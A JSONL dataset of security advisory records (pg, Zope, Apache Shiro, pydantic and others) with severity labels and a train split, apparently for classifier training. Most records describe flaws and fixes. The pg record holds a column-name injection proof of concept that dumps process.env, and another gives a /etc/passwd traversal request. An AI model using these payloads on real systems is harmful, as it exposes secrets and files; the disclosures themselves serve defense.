-{"id": "b7b30eb95ec3ce6ba6a8", "text": "Duplicate Advisory: Path Traversal in Zope\n\n## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-5pr9-v234-jw36. This link is maintained to preserve external references.\n\n## Original Description\nZope is an open-source web application server. This advisory extends the previous advisory at https://github.com/zopefoundation/Zope/security/advisories/GHSA-5pr9-v234-jw36 with additional cases of TAL expression traversal vulnerabilities. Most Python modules are not available for using in TAL expressions that you can add through-the-web, for example in Zope Page Templates. This restriction avoids file system access, for example via the 'os' module. But some of the untrusted modules are available indirectly through Python modules that are available for direct use. By default, you need to have the Manager role to add or edit Zope Page Templates through the web. Only sites that allow untrusted users to add/edit Zope Page Templates through the web are at risk. The problem has been fixed in Zope 5.2.1 and 4.6.1. The workaround is the same as for https://github.com/zopefoundation/Zope/security/advisories/GHSA-5pr9-v234-jw36: A site administrator can restrict adding/editing Zope Page Templates through the web using the standard Zope user/role permission mechanisms. Untrusted users should not be assigned the Zope Manager role and adding/editing Zope Page Templates through the web should be restricted to trusted users only.", "text_raw": "Duplicate Advisory: Path Traversal in Zope\n\n[Severity: HIGH]\n\n## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-5pr9-v234-jw36. This link is maintained to preserve external references.\n\n## Original Description\nZope is an open-source web application server. This advisory extends the previous advisory at https://github.com/zopefoundation/Zope/security/advisories/GHSA-5pr9-v234-jw36 with additional cases of TAL expression traversal vulnerabilities. Most Python modules are not available for using in TAL expressions that you can add through-the-web, for example in Zope Page Templates. This restriction avoids file system access, for example via the 'os' module. But some of the untrusted modules are available indirectly through Python modules that are available for direct use. By default, you need to have the Manager role to add or edit Zope Page Templates through the web. Only sites that allow untrusted users to add/edit Zope Page Templates through the web are at risk. The problem has been fixed in Zope 5.2.1 and 4.6.1. The workaround is the same as for https://github.com/zopefoundation/Zope/security/advisories/GHSA-5pr9-v234-jw36: A site administrator can restrict adding/editing Zope Page Templates through the web using the standard Zope user/role permission mechanisms. Untrusted users should not be assigned the Zope Manager role and adding/editing Zope Page Templates through the web should be restricted to trusted users only.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-10", "split": "train"}
-{"id": "51507a65dc2d3d2d4479", "text": "Remote Code Execution in pg\n\nAffected versions of `pg` contain a remote code execution vulnerability that occurs when the remote database or query specifies a crafted column name.\n\nThere are two specific scenarios in which it is likely for an application to be vulnerable:\n1. The application executes unsafe, user-supplied sql which contains malicious column names.\n2. The application connects to an untrusted database and executes a query returning results which contain a malicious column name.\n\n## Proof of Concept\n```\nconst { Client } = require('pg')\nconst client = new Client()\nclient.connect()\n\nconst sql = `SELECT 1 AS \"\\\\'/*\", 2 AS \"\\\\'*/\\n + console.log(process.env)] = null;\\n//\"`\n\nclient.query(sql, (err, res) => {\n  client.end()\n})\n```\n\n## Recommendation\n\n* Version 2.x.x: Update to version 2.11.2 or later.\n* Version 3.x.x: Update to version 3.6.4 or later.\n* Version 4.x.x: Update to version 4.5.7 or later.\n* Version 5.x.x: Update to version 5.2.1 or later.\n* Version 6.x.x: Update to version 6.4.2 or later. ( Note that versions 6.1.6, 6.2.5, and 6.3.3 are also patched. )\n* Version 7.x.x: Update to version 7.1.2 or later. ( Note that version 7.0.2 is also patched. )", "text_raw": "Remote Code Execution in pg\n\n[Severity: CRITICAL]\n\nAffected versions of `pg` contain a remote code execution vulnerability that occurs when the remote database or query specifies a crafted column name. \n\nThere are two specific scenarios in which it is likely for an application to be vulnerable:\n1. The application executes unsafe, user-supplied sql which contains malicious column names.\n2. The application connects to an untrusted database and executes a query returning results which contain a malicious column name.\n\n## Proof of Concept\n```\nconst { Client } = require('pg')\nconst client = new Client()\nclient.connect()\n\nconst sql = `SELECT 1 AS \"\\\\'/*\", 2 AS \"\\\\'*/\\n + console.log(process.env)] = null;\\n//\"`\n\nclient.query(sql, (err, res) => {\n  client.end()\n})\n```\n\n\n## Recommendation\n\n* Version 2.x.x: Update to version 2.11.2 or later.\n* Version 3.x.x: Update to version 3.6.4 or later.\n* Version 4.x.x: Update to version 4.5.7 or later.\n* Version 5.x.x: Update to version 5.2.1 or later.\n* Version 6.x.x: Update to version 6.4.2 or later. ( Note that versions 6.1.6, 6.2.5, and 6.3.3 are also patched. )\n* Version 7.x.x: Update to version 7.1.2 or later. ( Note that version 7.0.2 is also patched. )", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-07-24", "split": "train"}
-{"id": "495b1fc189136664eea6", "text": "OWASP AntiSamy vulnerable to Cross-site Scripting\n\nIn OWASP AntiSamy before 1.5.5, by submitting a specially crafted input (a tag that supports style with active content), you could bypass the library protections and supply executable code. The impact is XSS.", "text_raw": "OWASP AntiSamy vulnerable to Cross-site Scripting\n\n[Severity: MEDIUM]\n\nIn OWASP AntiSamy before 1.5.5, by submitting a specially crafted input (a tag that supports style with active content), you could bypass the library protections and supply executable code. The impact is XSS.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-18", "split": "train"}
-{"id": "abda251c309fd23bfb08", "text": "Cross site scripting in the system log\n\n### Impact\n\nIt is possible to inject code into the `tl_log` table that will be executed in the browser when the system log is called in the back end.\n\n### Patches\n\nUpdate to Contao 4.9.16 or 4.11.5.\n\n### Workarounds\n\nDisable the system log module in the back end for all users (especially admin users).\n\n### References\n\nhttps://contao.org/en/security-advisories/cross-site-scripting-in-the-system-log-2021\n\n### For more information\n\nIf you have any questions or comments about this advisory, open an issue in [contao/contao](https://github.com/contao/contao/issues/new/choose).", "text_raw": "Cross site scripting in the system log\n\n[Severity: MEDIUM]\n\n### Impact\n\nIt is possible to inject code into the `tl_log` table that will be executed in the browser when the system log is called in the back end.\n\n### Patches\n\nUpdate to Contao 4.9.16 or 4.11.5.\n\n### Workarounds\n\nDisable the system log module in the back end for all users (especially admin users).\n\n### References\n\nhttps://contao.org/en/security-advisories/cross-site-scripting-in-the-system-log-2021\n\n### For more information\n\nIf you have any questions or comments about this advisory, open an issue in [contao/contao](https://github.com/contao/contao/issues/new/choose).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-07-01", "split": "train"}
-{"id": "08de74bc8ca76d5c1389", "text": "CoAPthon DoS due to Exceptions\n\nThe `Serialize.deserialize()` method in CoAPthon 3.1, 4.0.0, 4.0.1, and 4.0.2 mishandles certain exceptions, leading to a denial of service in applications that use this library (e.g., the standard CoAP server, CoAP client, CoAP reverse proxy, example collect CoAP server and client) when they receive crafted CoAP messages.", "text_raw": "CoAPthon DoS due to Exceptions\n\n[Severity: HIGH]\n\nThe `Serialize.deserialize()` method in CoAPthon 3.1, 4.0.0, 4.0.1, and 4.0.2 mishandles certain exceptions, leading to a denial of service in applications that use this library (e.g., the standard CoAP server, CoAP client, CoAP reverse proxy, example collect CoAP server and client) when they receive crafted CoAP messages.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-04-08", "split": "train"}
-{"id": "836c8806b126e6f45fde", "text": "Out-of-bounds Write in Pillow\n\nAn issue was discovered in Pillow before 8.1.1. In TiffDecode.c, there is a negative-offset memcpy with an invalid size.", "text_raw": "Out-of-bounds Write in Pillow\n\n[Severity: HIGH]\n\nAn issue was discovered in Pillow before 8.1.1. In TiffDecode.c, there is a negative-offset memcpy with an invalid size.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-29", "split": "train"}
-{"id": "681de0422ed55507933d", "text": "HTTP Request Smuggling in netius\n\nnetius prior to 1.17.58 is vulnerable to HTTP Request Smuggling. HTTP pipelining issues and request smuggling attacks might be possible due to incorrect Transfer encoding header parsing which could allow for CL:TE or TE:TE attacks.", "text_raw": "HTTP Request Smuggling in netius\n\n[Severity: MEDIUM]\n\nnetius prior to 1.17.58 is vulnerable to HTTP Request Smuggling. HTTP pipelining issues and request smuggling attacks might be possible due to incorrect Transfer encoding header parsing which could allow for CL:TE or TE:TE attacks.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-18", "split": "train"}
-{"id": "5371984e726e09e0144e", "text": "SOYAL Biometric Access Control System 5.0 Weak Default Credentials", "text_raw": "SOYAL Biometric Access Control System 5.0 Weak Default Credentials\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2021-03-18", "split": "train"}
-{"id": "5b9ff470dcd919608c3f", "text": "Prototype Pollution in deep-get-set\n\nAll versions of package deep-get-set prior to version 1.1.1 are vulnerable to Prototype Pollution via the main function.", "text_raw": "Prototype Pollution in deep-get-set\n\n[Severity: HIGH]\n\nAll versions of package deep-get-set prior to version 1.1.1 are vulnerable to Prototype Pollution via the main function.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "87cf726f393c11d2336f", "text": "Improper Authentication in Apache Shiro\n\nApache Shiro before 1.5.2, when using Apache Shiro with Spring dynamic controllers, a specially crafted request may cause an authentication bypass.", "text_raw": "Improper Authentication in Apache Shiro\n\n[Severity: CRITICAL]\n\nApache Shiro before 1.5.2, when using Apache Shiro with Spring dynamic controllers, a specially crafted request may cause an authentication bypass.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-07", "split": "train"}
-{"id": "757ae8b220afedbd98c5", "text": "Exposure of Sensitive Information to an Unauthorized Actor in activestorage\n\nA bypass vulnerability in Active Storage >= 5.2.0 for Google Cloud Storage and Disk services allow an attacker to modify the `content-disposition` and `content-type` parameters which can be used in with HTML files and have them executed inline. Additionally, if combined with other techniques such as cookie bombing and specially crafted AppCache manifests, an attacker can gain access to private signed URLs within a specific storage path.\n\nVulnerable apps are those using either GCS or the Disk service in production. Other storage services such as S3 or Azure aren't affected.", "text_raw": "Exposure of Sensitive Information to an Unauthorized Actor in activestorage\n\n[Severity: MEDIUM]\n\nA bypass vulnerability in Active Storage >= 5.2.0 for Google Cloud Storage and Disk services allow an attacker to modify the `content-disposition` and `content-type` parameters which can be used in with HTML files and have them executed inline. Additionally, if combined with other techniques such as cookie bombing and specially crafted AppCache manifests, an attacker can gain access to private signed URLs within a specific storage path.\n\nVulnerable apps are those using either GCS or the Disk service in production. Other storage services such as S3 or Azure aren't affected.\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-12-05", "split": "train"}
-{"id": "78d936ee53434407d21e", "text": "Unsafe object creation in json RubyGem\n\nThe JSON gem through 2.2.0 for Ruby, as used in Ruby 2.4 through 2.4.9, 2.5 through 2.5.7, and 2.6 through 2.6.5, has an Unsafe Object Creation Vulnerability. This is quite similar to CVE-2013-0269/GHSA-x457-cw4h-hq5f, but does not rely on poor garbage-collection behavior within Ruby. Specifically, use of JSON parsing methods can lead to creation of a malicious object within the interpreter, with adverse effects that are application-dependent.", "text_raw": "Unsafe object creation in json RubyGem\n\n[Severity: HIGH]\n\nThe JSON gem through 2.2.0 for Ruby, as used in Ruby 2.4 through 2.4.9, 2.5 through 2.5.7, and 2.6 through 2.6.5, has an Unsafe Object Creation Vulnerability. This is quite similar to CVE-2013-0269/GHSA-x457-cw4h-hq5f, but does not rely on poor garbage-collection behavior within Ruby. Specifically, use of JSON parsing methods can lead to creation of a malicious object within the interpreter, with adverse effects that are application-dependent.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-07-27", "split": "train"}
-{"id": "0265306d06b6266aa1d6", "text": "Apache Ozone exposes OM, SCM and Datanode metadata\n\nIn Apache Ozone before 1.2.0, Recon HTTP endpoints provide access to OM, SCM and Datanode metadata. Due to a bug, any unauthenticated user can access the data from these endpoints.", "text_raw": "Apache Ozone exposes OM, SCM and Datanode metadata\n\n[Severity: MEDIUM]\n\nIn Apache Ozone before 1.2.0, Recon HTTP endpoints provide access to OM, SCM and Datanode metadata. Due to a bug, any unauthenticated user can access the data from these endpoints.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-23", "split": "train"}
-{"id": "ea4606bbf055a1529c35", "text": "Apache Shiro Code Execution Vulnerability\n\nAffected: Apache Shiro\n\nApache Shiro contains a vulnerability which may allow remote attackers to execute code or bypass intended access restrictions via an unspecified request parameter when a cipher key has not been configured for the \"remember me\" feature.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-284\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Apache Shiro Code Execution Vulnerability\n\nAffected: Apache Shiro\n\nApache Shiro contains a vulnerability which may allow remote attackers to execute code or bypass intended access restrictions via an unspecified request parameter when a cipher key has not been configured for the \"remember me\" feature.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-284\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "4c036081767d837471fc", "text": "Denial of Service and Content Injection in i18n-node-angular\n\nVersions of `i18n-node-angular` prior to 1.4.0 are affected by denial of service and cross-site scripting vulnerabilities. The vulnerabilities exist in a REST endpoint that was created for development purposes, but was not disabled in production in affected versions.\n\n## Recommendation\n\nUpdate to version 1.4.0 or later.", "text_raw": "Denial of Service and Content Injection in i18n-node-angular\n\n[Severity: HIGH]\n\nVersions of `i18n-node-angular` prior to 1.4.0 are affected by denial of service and cross-site scripting vulnerabilities. The vulnerabilities exist in a REST endpoint that was created for development purposes, but was not disabled in production in affected versions.\n\n\n## Recommendation\n\nUpdate to version 1.4.0 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "e3d067ea29625f5864d5", "text": "Apple Multiple Products WebKit Storage Use-After-Free Vulnerability\n\nAffected: Apple Multiple Products\n\nApple iOS, iPadOS, macOS, tvOS, watchOS, and Safari WebKit Storage contain a use-after-free vulnerability that leads to code execution when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-416\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Apple Multiple Products WebKit Storage Use-After-Free Vulnerability\n\nAffected: Apple Multiple Products\n\nApple iOS, iPadOS, macOS, tvOS, watchOS, and Safari WebKit Storage contain a use-after-free vulnerability that leads to code execution when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-416\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "a6915b4b82c7ff52e898", "text": "Buffer overrun in CGI.escape_html\n\nA buffer overrun vulnerability was discovered in CGI.escape_html. This can lead to a buffer overflow when a user passes a very large string (> 700 MB) to CGI.escape_html on a platform where long type takes 4 bytes, typically, Windows.", "text_raw": "Buffer overrun in CGI.escape_html\n\n[Severity: CRITICAL]\n\nA buffer overrun vulnerability was discovered in CGI.escape_html. This can lead to a buffer overflow when a user passes a very large string (> 700 MB) to CGI.escape_html on a platform where long type takes 4 bytes, typically, Windows.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-12-14", "split": "train"}
-{"id": "342efd73469cac47ff80", "text": "Spina gem vulnerable to Cross-site request forgery (CSRF) vulnerability\n\nCross-site request forgery (CSRF) vulnerability in Spina before commit bfe44f289e336f80b6593032679300c493735e75. `Spina::ApplicationController` actions didn't have CSRF protection. This causes a CSRF vulnerability across the entire engine which includes administrative functionality such as creating users, changing passwords, and media management.", "text_raw": "Spina gem vulnerable to Cross-site request forgery (CSRF) vulnerability\n\n[Severity: HIGH]\n\nCross-site request forgery (CSRF) vulnerability in Spina before commit bfe44f289e336f80b6593032679300c493735e75. `Spina::ApplicationController` actions didn't have CSRF protection. This causes a CSRF vulnerability across the entire engine which includes administrative functionality such as creating users, changing passwords, and media management.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-08-28", "split": "train"}
-{"id": "9ecb838dc179e2d3ea70", "text": "An issue was discovered in hsweb 3.0.4. It is a reflected XSS vulnerability due to the absence of type parameter checking in FlowableModelManagerController.java.", "text_raw": "Moderate severity vulnerability that affects org.hswebframework.web:hsweb-commons\n\n[Severity: MEDIUM]\n\nAn issue was discovered in hsweb 3.0.4. It is a reflected XSS vulnerability due to the absence of type parameter checking in FlowableModelManagerController.java.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-01-04", "split": "train"}
-{"id": "34f84614c8a4f6583b15", "text": "In Bouncy Castle JCE Provider the ECIES implementation allowed the use of ECB mode\n\nIn the Bouncy Castle JCE Provider version 1.55 and earlier the ECIES implementation allowed the use of ECB mode. This mode is regarded as unsafe and support for it has been removed from the provider.", "text_raw": "In Bouncy Castle JCE Provider the ECIES implementation allowed the use of ECB mode\n\n[Severity: HIGH]\n\nIn the Bouncy Castle JCE Provider version 1.55 and earlier the ECIES implementation allowed the use of ECB mode. This mode is regarded as unsafe and support for it has been removed from the provider.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "ecc98573b0504bfffc44", "text": "JSNAPy allows unprivileged local users to alter files under the directory\n\nJSNAPy is an open source python version of Junos Snapshot Administrator developed by Juniper available through github. The default configuration and sample files of JSNAPy automation tool versions prior to 1.3.0 are created world writable. This insecure file and directory permission allows unprivileged local users to alter the files under this directory including inserting operations not intended by the package maintainer, system administrator, or other users. This issue only affects users who downloaded and installed JSNAPy from github.", "text_raw": "JSNAPy allows unprivileged local users to alter files under the directory\n\n[Severity: HIGH]\n\nJSNAPy is an open source python version of Junos Snapshot Administrator developed by Juniper available through github. The default configuration and sample files of JSNAPy automation tool versions prior to 1.3.0 are created world writable. This insecure file and directory permission allows unprivileged local users to alter the files under this directory including inserting operations not intended by the package maintainer, system administrator, or other users. This issue only affects users who downloaded and installed JSNAPy from github.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-12", "split": "train"}
-{"id": "e33ec7aa22853a1d8e54", "text": "Directory Traversal in node-simple-router\n\nAffected versions of `node-simple-router` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nUpdate to v0.10.1 or later.", "text_raw": "Directory Traversal in node-simple-router\n\n[Severity: HIGH]\n\nAffected versions of `node-simple-router` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nUpdate to v0.10.1 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-24", "split": "train"}
-{"id": "19d19388c172f0f3a92b", "text": "Policies not properly enforced in bluemonday\n\nThe bluemonday sanitizer before 1.0.16 for Go, and before 0.0.8 for Python (in pybluemonday), does not properly enforce policies associated with the SELECT, STYLE, and OPTION elements.", "text_raw": "Policies not properly enforced in bluemonday\n\n[Severity: HIGH]\n\nThe bluemonday sanitizer before 1.0.16 for Go, and before 0.0.8 for Python (in pybluemonday), does not properly enforce policies associated with the SELECT, STYLE, and OPTION elements.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-19", "split": "train"}
-{"id": "9ae5648aebfebf64cedd", "text": "Thrive Smart Home v1.1 SQL Injection Authentication Bypass", "text_raw": "Thrive Smart Home v1.1 SQL Injection Authentication Bypass\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2019-12-29", "split": "train"}
-{"id": "4d71d5ddb117164efc8e", "text": "Sensitive information disclosure via log in com.bmuschko:gradle-vagrant-plugin\n\n### Impact\n\nThe `com.bmuschko:gradle-vagrant-plugin` Gradle plugin contains an information disclosure vulnerability due to the logging of the system environment variables.\n\nWhen this Gradle plugin is executed in public CI/CD, this can lead to sensitive credentials being exposed to malicious actors.\n\n### Patches\nFixed in version 3.0.0\n\n### References\n\n- https://github.com/bmuschko/gradle-vagrant-plugin/blob/292129f9343d00d391543fae06239e9b0f33db73/src/main/groovy/com/bmuschko/gradle/vagrant/process/GDKExternalProcessExecutor.groovy#L42-L44\n - https://github.com/bmuschko/gradle-vagrant-plugin/issues/19\n - https://github.com/bmuschko/gradle-vagrant-plugin/pull/20\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [bmuschko/gradle-vagrant-plugin](https://github.com/bmuschko/gradle-vagrant-plugin)", "text_raw": "Sensitive information disclosure via log in com.bmuschko:gradle-vagrant-plugin\n\n[Severity: HIGH]\n\n### Impact\n\nThe `com.bmuschko:gradle-vagrant-plugin` Gradle plugin contains an information disclosure vulnerability due to the logging of the system environment variables.\n\nWhen this Gradle plugin is executed in public CI/CD, this can lead to sensitive credentials being exposed to malicious actors.\n\n### Patches\nFixed in version 3.0.0\n\n### References\n\n - https://github.com/bmuschko/gradle-vagrant-plugin/blob/292129f9343d00d391543fae06239e9b0f33db73/src/main/groovy/com/bmuschko/gradle/vagrant/process/GDKExternalProcessExecutor.groovy#L42-L44\n - https://github.com/bmuschko/gradle-vagrant-plugin/issues/19\n - https://github.com/bmuschko/gradle-vagrant-plugin/pull/20\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [bmuschko/gradle-vagrant-plugin](https://github.com/bmuschko/gradle-vagrant-plugin)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-09", "split": "train"}
-{"id": "24ba08e4748ec5efff72", "text": "Atlassian Confluence Server and Data Center Path Traversal Vulnerability\n\nAffected: Atlassian Confluence Server and Data Center\n\nAtlassian Confluence Server and Data Center contain a path traversal vulnerability in the downloadallattachments resource that may allow a privileged, remote attacker to write files. Exploitation can lead to remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-22\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Atlassian Confluence Server and Data Center Path Traversal Vulnerability\n\nAffected: Atlassian Confluence Server and Data Center\n\nAtlassian Confluence Server and Data Center contain a path traversal vulnerability in the downloadallattachments resource that may allow a privileged, remote attacker to write files. Exploitation can lead to remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-22\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "2db08e6e5818471f53bb", "text": "Telesquare SKT LTE Router SDT-CS3B1 CSRF System Command Execution", "text_raw": "Telesquare SKT LTE Router SDT-CS3B1 CSRF System Command Execution\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2017-12-27", "split": "train"}
-{"id": "1783b17642f7ace2912c", "text": "PRADO PHP Framework 3.2.0 Arbitrary File Read Vulnerability", "text_raw": "PRADO PHP Framework 3.2.0 Arbitrary File Read Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2012-11-26", "split": "train"}
-{"id": "aa40920192ae6f01a404", "text": "Denial of service in Apache Xerces2\n\nXMLScanner.java in Apache Xerces2 Java, as used in Sun Java Runtime Environment (JRE) in JDK and JRE 6 before Update 15 and JDK and JRE 5.0 before Update 20, and in other products, allows remote attackers to cause a denial of service (infinite loop and application hang) via malformed XML input, as demonstrated by the Codenomicon XML fuzzing framework.", "text_raw": "Denial of service in Apache Xerces2\n\n[Severity: MEDIUM]\n\nXMLScanner.java in Apache Xerces2 Java, as used in Sun Java Runtime Environment (JRE) in JDK and JRE 6 before Update 15 and JDK and JRE 5.0 before Update 20, and in other products, allows remote attackers to cause a denial of service (infinite loop and application hang) via malformed XML input, as demonstrated by the Codenomicon XML fuzzing framework.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-06-15", "split": "train"}
-{"id": "e7984cf665ffc36fb8f8", "text": "Use of \"infinity\" as an input to datetime and date fields causes infinite loop in pydantic\n\nImpact\n\nPassing either 'infinity', 'inf' or float('inf') (or their negatives) to datetime or date fields causes validation to run forever with 100% CPU usage (on one CPU).\nPatches\n\nPydantic is be patched with fixes available in the following versions:\n\nv1.8.2\n    v1.7.4\n    v1.6.2\n\nAll these versions are available on pypi, and will be available on conda-forge soon.\n\nSee the changelog for details.\nWorkarounds\n\nIf you absolutely can't upgrade, you can work around this risk using a validator to catch these values, brief demo:\n\nfrom datetime import date\nfrom pydantic import BaseModel, validator\n\nclass DemoModel(BaseModel):\n    date_of_birth: date\n\n@validator('date_of_birth', pre=True)\n    def skip_infinite_values(cls, v):\n        try:\n            seconds = float(v)\n        except (ValueError, TypeError):\n            return v\n        else:\n            if seconds == float('inf'):\n                return date.max\n            elif seconds == float('-inf'):\n                return date.min\n            else:\n                return seconds\n\nNote: this is not an ideal solution (in particular you'll need a slightly different function for datetimes), instead of a hack like this you should upgrade pydantic.\n\nIf you are not using v1.8.x, v1.7.x or v1.6.x and are unable to upgrade to a fixed version of pydantic, please create an issue requesting a back-port, and we will endeavour to release a patch for earlier versions of pydantic.\nReferences\n\nThis was fixed in commit 7e83fdd.", "text_raw": "Use of \"infinity\" as an input to datetime and date fields causes infinite loop in pydantic\n\n[Severity: MEDIUM]\n\n\nImpact\n\nPassing either 'infinity', 'inf' or float('inf') (or their negatives) to datetime or date fields causes validation to run forever with 100% CPU usage (on one CPU).\nPatches\n\nPydantic is be patched with fixes available in the following versions:\n\n    v1.8.2\n    v1.7.4\n    v1.6.2\n\nAll these versions are available on pypi, and will be available on conda-forge soon.\n\nSee the changelog for details.\nWorkarounds\n\nIf you absolutely can't upgrade, you can work around this risk using a validator to catch these values, brief demo:\n\nfrom datetime import date\nfrom pydantic import BaseModel, validator\n\nclass DemoModel(BaseModel):\n    date_of_birth: date\n\n    @validator('date_of_birth', pre=True)\n    def skip_infinite_values(cls, v):\n        try:\n            seconds = float(v)\n        except (ValueError, TypeError):\n            return v\n        else:\n            if seconds == float('inf'):\n                return date.max\n            elif seconds == float('-inf'):\n                return date.min\n            else:\n                return seconds\n\nNote: this is not an ideal solution (in particular you'll need a slightly different function for datetimes), instead of a hack like this you should upgrade pydantic.\n\nIf you are not using v1.8.x, v1.7.x or v1.6.x and are unable to upgrade to a fixed version of pydantic, please create an issue requesting a back-port, and we will endeavour to release a patch for earlier versions of pydantic.\nReferences\n\nThis was fixed in commit 7e83fdd.\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-13", "split": "train"}
-{"id": "ba2372634e8129ea0f64", "text": "Unrestricted access to predictable file paths in hov/jobfair\n\nAn issue was discovered in the jobfair (aka Job Fair) extension before 1.0.13 and 2.x before 2.0.2 for TYPO3. The extension fails to protect or obfuscate filenames of uploaded files. This allows unauthenticated users to download files with sensitive data by simply guessing the filename of uploaded files (e.g., uploads/tx_jobfair/cv.pdf).", "text_raw": "Unrestricted access to predictable file paths in hov/jobfair\n\n[Severity: HIGH]\n\nAn issue was discovered in the jobfair (aka Job Fair) extension before 1.0.13 and 2.x before 2.0.2 for TYPO3. The extension fails to protect or obfuscate filenames of uploaded files. This allows unauthenticated users to download files with sensitive data by simply guessing the filename of uploaded files (e.g., uploads/tx_jobfair/cv.pdf).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-11-15", "split": "train"}
-{"id": "60aa1f4b6ada083f2a67", "text": "Arbitrary Code Execution in mathjs\n\nmath.js before 3.17.0 had an arbitrary code execution in the JavaScript engine. Creating a typed function with JavaScript code in the name could result arbitrary execution.\n\n## Recommendation\n\nUpdate to version 3.17.0 or later.", "text_raw": "Arbitrary Code Execution in mathjs\n\n[Severity: CRITICAL]\n\nmath.js before 3.17.0 had an arbitrary code execution in the JavaScript engine. Creating a typed function with JavaScript code in the name could result arbitrary execution.\n\n\n## Recommendation\n\nUpdate to version 3.17.0 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2017-12-18", "split": "train"}
-{"id": "cdfbe2f4d3bf24c0f3d2", "text": "Malicious Package in js-sla3\n\nVersion 0.8.0 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in js-sla3\n\n[Severity: CRITICAL]\n\nVersion 0.8.0 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "d45e2e97db7895170fbb", "text": "Uncontrolled Resource Consumption in transpile\n\nAll versions of package transpile are vulnerable to Denial of Service (DoS) due to a lack of input sanitization or whitelisting, coupled with improper exception handling in the .to() function.", "text_raw": "Uncontrolled Resource Consumption in transpile\n\n[Severity: MEDIUM]\n\nAll versions of package transpile are vulnerable to Denial of Service (DoS) due to a lack of input sanitization or whitelisting, coupled with improper exception handling in the .to() function.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-02", "split": "train"}
